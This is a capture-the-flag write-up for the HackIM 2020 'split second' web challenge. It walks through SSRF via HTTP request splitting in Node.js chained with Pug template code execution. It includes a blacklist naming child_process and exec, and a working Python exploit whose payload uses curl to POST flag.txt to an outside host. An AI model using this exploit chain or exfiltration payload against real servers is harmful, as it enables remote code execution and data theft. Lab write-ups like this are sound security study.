Rating: 4.0

split second

  • Observation:

In the main page,we can see that there is a picture with a exciting kid dancing their lol.I look into the page source and see that the picture is an iframe that is sent from /core page.After testing parameter q,I know that some words and symbols are filtered on the backend.

My next goal is try to find some useful page and then I find some interesting page which is /source and /flag page.

After auditing source code,I figure out that it is a SSRF challenge.But I don't have idea how to reach SSRF since http module filter '\d\n' properly.After googling,I find some useful resource to achieve our goal and here is the link.

<br> <br>

source code

//node 8.12.0
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');

app.get('/', function(req, res) {
    res.sendFile(path.join(__dirname + '/index.html'));
});

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/source.html'));
});


app.get('/getMeme',function(req,res){
   res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p><a href="https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw">via GIPHY</a></p>')

});


app.get('/flag', function(req, res) {
    var ip = req.connection.remoteAddress;
    if (ip.includes('127.0.0.1')) {
        var authheader = req.headers['adminauth'];
        var pug2 = decodeURI(req.headers['pug']);
        var x=pug2.match(/[a-z]/g);
        if(!x){
         if (authheader === "secretpassword") {
            var html = pug.render(pug2);
         }
        }
       else{
        res.send("No characters");
      }
    }
    else{
     res.send("You need to come from localhost");
    }
});

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/getMeme?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>Errrrr, You have been Blocked</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        resps = chunk.toString();
                        res.send(resps);
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

<br> <br> <br>

When sending request to /flag,server will check for if header x-forwarded-for==127.0.0.1 , header adminauth==secretpassword and header pug can't contain any lower case alphabats.The first two conditions are easy to achieve but the third one is a bit of hard to figure out.Now,I have to understand how pug work, what kind of attack can achieve and how to bypass the third condition.

After reading this article,I guess that we can try to construct an code execution payload. So I test it locally and as expected,we can acheive code execution(resource about vm escape)

var pug = require('pug');
//First one may cause some problem because of http.get will remove string after #,and I try double encode to fix this problem,but it doesn't work,since decodeURI('%23') will return "%23".
pug.render('#{console.log(1)}');
put.render('-console.log(1)');
//will print 1 on terminal

The last thing we need to do is try to figure out a payload that can bypass header pug's' check and function blacklist.
We can encode alphabat in payload into octal(hex and unicode are not good idea since they contain alphabat) to bypass header check and double url encode " and ' to bypass funtion blacklist.
Expect to alphabat,we don't need to encode other characters in payload into octal.Otherwise it will cause some problem since -,(,),[,]," and ' are considered as meaningful character and we cannot encode them ,or it won't be executed.

[]["constructor"]//valid
[]["\143\157\156\163\164\162\165\143\164\157\162"]//valid,executable
[][\42\143\157\156\163\164\162\165\143\164\157\162\42]//invalid,since " is encodeed
  • Solution

# coding=UTF-8
import requests
from requests.utils import quote
def toOct(str):
    r=""
    for i in str:
        if i>='a'and i<='z':
            r+='\\'+oct(ord(i))[1:]
        else:
            r+=i
    return r

#This next line could test in nodejs interpreter so that we can observe the similar behavior about how http treat on unicode(\u{xxxx} is js encode pattern)
#Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString() 
#Unicode čĊ will convert to latin1 which will only pick up the right most byte
SPACE=u'\u0120'.encode('utf-8')
CRLF=u'\u010d\u010a'.encode('utf-8')  # transfer from unicode to utf-8 (\uxxxx is unicode's pattern)
SLASH=u'\u012f'.encode('utf-8')

pug = toOct('''-[]["constructor"]["constructor"]("console.log(this.process.mainModule.require('child_process').exec('curl 172.19.0.1:8888 -X POST -d @flag.txt'))")()''').replace('"','%22').replace("'","%27")#' and " need to be double encoded
print quote(pug)

payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE

res=requests.get('http://172.19.0.2:8081/core?q='+quote(payload))
#res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload))
print res.content
  • Flag

hackim20{You_must_be_1337_in_JavaScript!}
Original writeup (https://github.com/xiaobye-ctf/CTF-writeups/blob/master/hackim-2020/web/split%20second/split%20second.md).